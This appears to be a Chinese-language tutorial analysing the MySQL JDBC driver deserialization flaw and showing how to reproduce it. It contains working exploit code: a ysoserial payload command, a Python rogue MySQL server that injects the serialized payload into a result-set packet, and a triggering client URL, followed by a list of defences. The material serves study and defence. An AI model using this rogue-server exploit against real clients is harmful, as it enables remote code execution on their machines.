小白看得懂的MySQL JDBC 反序列化漏洞分析
字数 1570 2025-08-20 18:17:31
MySQL JDBC 反序列化漏洞深入分析与复现指南
漏洞概述
MySQL JDBC 反序列化漏洞是BlackHat Europe 2019会议上披露的一个安全漏洞,影响MySQL Connector/J(JDBC驱动)。该漏洞允许攻击者通过精心构造的恶意MySQL服务器响应,在客户端触发Java反序列化操作,从而导致远程代码执行(RCE)。
漏洞原理分析
核心漏洞点
漏洞存在于MySQL JDBC驱动的以下关键组件中:
- ResultSetImpl.getObject() 方法
- ServerStatusDiffInterceptor 拦截器
- autoDeserialize 配置参数
漏洞触发链
- 入口点:当JDBC连接配置了
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor时,执行查询会调用拦截器 - 拦截器处理:拦截器会执行
SHOW SESSION STATUS查询并对结果进行处理 - 结果处理:处理结果时会调用
resultSetToMap方法,最终调用ResultSetImpl.getObject() - 反序列化检查:在
getObject()方法中,如果autoDeserialize=true且数据符合Java序列化格式(前两个字节为0xACED),则会进行反序列化操作
关键代码分析
// com.mysql.cj.jdbc.result.ResultSetImpl.getObject()
public Object getObject(int columnIndex) throws SQLException {
Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
// 关键点:检查autoDeserialize配置
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
if ((data != null) && (data.length >= 2)) {
// 检查Java序列化魔术字(0xACED)
if ((data[0] == -84) && (data[1] == -19)) {
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject(); // 反序列化点
objIn.close();
bytesIn.close();
} catch (Exception e) {
// 异常处理
}
}
}
return obj;
}
return data;
}
// 其他类型处理...
}
}
漏洞复现环境
所需工具
- MySQL Connector/J 8.0.12
- IntelliJ IDEA 2020.1+(或其他Java IDE)
- Python 3(用于恶意服务器)
- ysoserial(生成反序列化payload)
- Wireshark + Npcap(抓包分析)
- Java开发环境(JDK 8+)
环境配置
- 创建Java测试项目,添加MySQL Connector/J依赖
- 准备ysoserial工具生成payload
- 配置Python恶意服务器环境
漏洞复现步骤
1. 生成反序列化Payload
使用ysoserial生成计算器payload:
java -jar ysoserial.jar CommonsCollections7 "calc" > payload.bin
2. 启动恶意MySQL服务器
使用Python编写恶意服务器,关键部分:
import socket
import binascii
import os
# MySQL协议握手包
greeting_data = "4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
# MySQL OK响应包
response_ok_data = "0700000200000002000000"
def get_payload_content():
# 读取ysoserial生成的payload
with open('payload.bin', 'rb') as f:
return binascii.b2a_hex(f.read()).decode('utf-8')
def handle_session_status_query(conn):
# 构造恶意响应包
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
payload_content = get_payload_content()
payload_length = hex(len(payload_content)//2)[2:].zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
data_len = hex(len(payload_content)//2 + 4)[2:].zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc' + payload_length_hex
mysql_data += payload_content
mysql_data += '07000005fe000022000100'
conn.send(binascii.a2b_hex(mysql_data))
3. 客户端触发代码
public class JdbcClient {
public static void main(String[] args) throws Exception {
String driver = "com.mysql.cj.jdbc.Driver";
// 关键配置:queryInterceptors和autoDeserialize
String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?" +
"characterEncoding=utf8&useSSL=false&" +
"queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&" +
"autoDeserialize=true";
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
4. 完整复现流程
- 启动Python恶意MySQL服务器(监听3309端口)
- 运行JdbcClient代码
- 观察客户端是否执行了计算器程序(或其他payload)
MySQL协议关键点分析
结果集响应包结构
恶意服务器需要构造合法的MySQL结果集响应包,关键结构如下:
-
列数量包:
- 长度(3字节) + 序号(1字节) + 列数量(1字节)
- 示例:
01 00 00 01 02(表示2列)
-
列定义包:
# 列定义示例 '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' # 分解: # 1a0000 - 长度 # 02 - 序号 # 03646566 - "def" # 00 - schema # 0163 - table (1字节,"c") # 0163 - org_table # 0163 - name # 0163 - org_name # 0c - filler # 3f00 - 字符集(binary) # ffff0000 - 最大长度 # fc - 列类型(blob) # 9000 - flags # 00 - decimals # 0000 - filler_2 -
行数据包:
- 包含序列化payload
- 需要正确计算长度和序号
防御措施
-
升级MySQL Connector/J:
- 使用最新版本的MySQL JDBC驱动
-
安全配置:
- 避免使用
autoDeserialize=true - 避免使用不受信任的queryInterceptors
- 避免使用
-
网络防护:
- 限制JDBC连接只能访问受信任的MySQL服务器
- 使用SSL/TLS加密JDBC连接
-
运行时防护:
- 使用Java安全管理器限制反序列化操作
- 使用反序列化过滤器(JEP 290)
总结
MySQL JDBC反序列化漏洞是一个典型的"协议+反序列化"组合漏洞,其核心在于:
- MySQL协议允许服务器返回任意二进制数据
- JDBC驱动在特定配置下会反序列化这些数据
- 通过精心构造的响应包可以触发反序列化操作
理解该漏洞需要对MySQL协议、JDBC驱动实现和Java反序列化机制有深入认识。防御此类漏洞的关键在于严格控制反序列化操作和网络边界。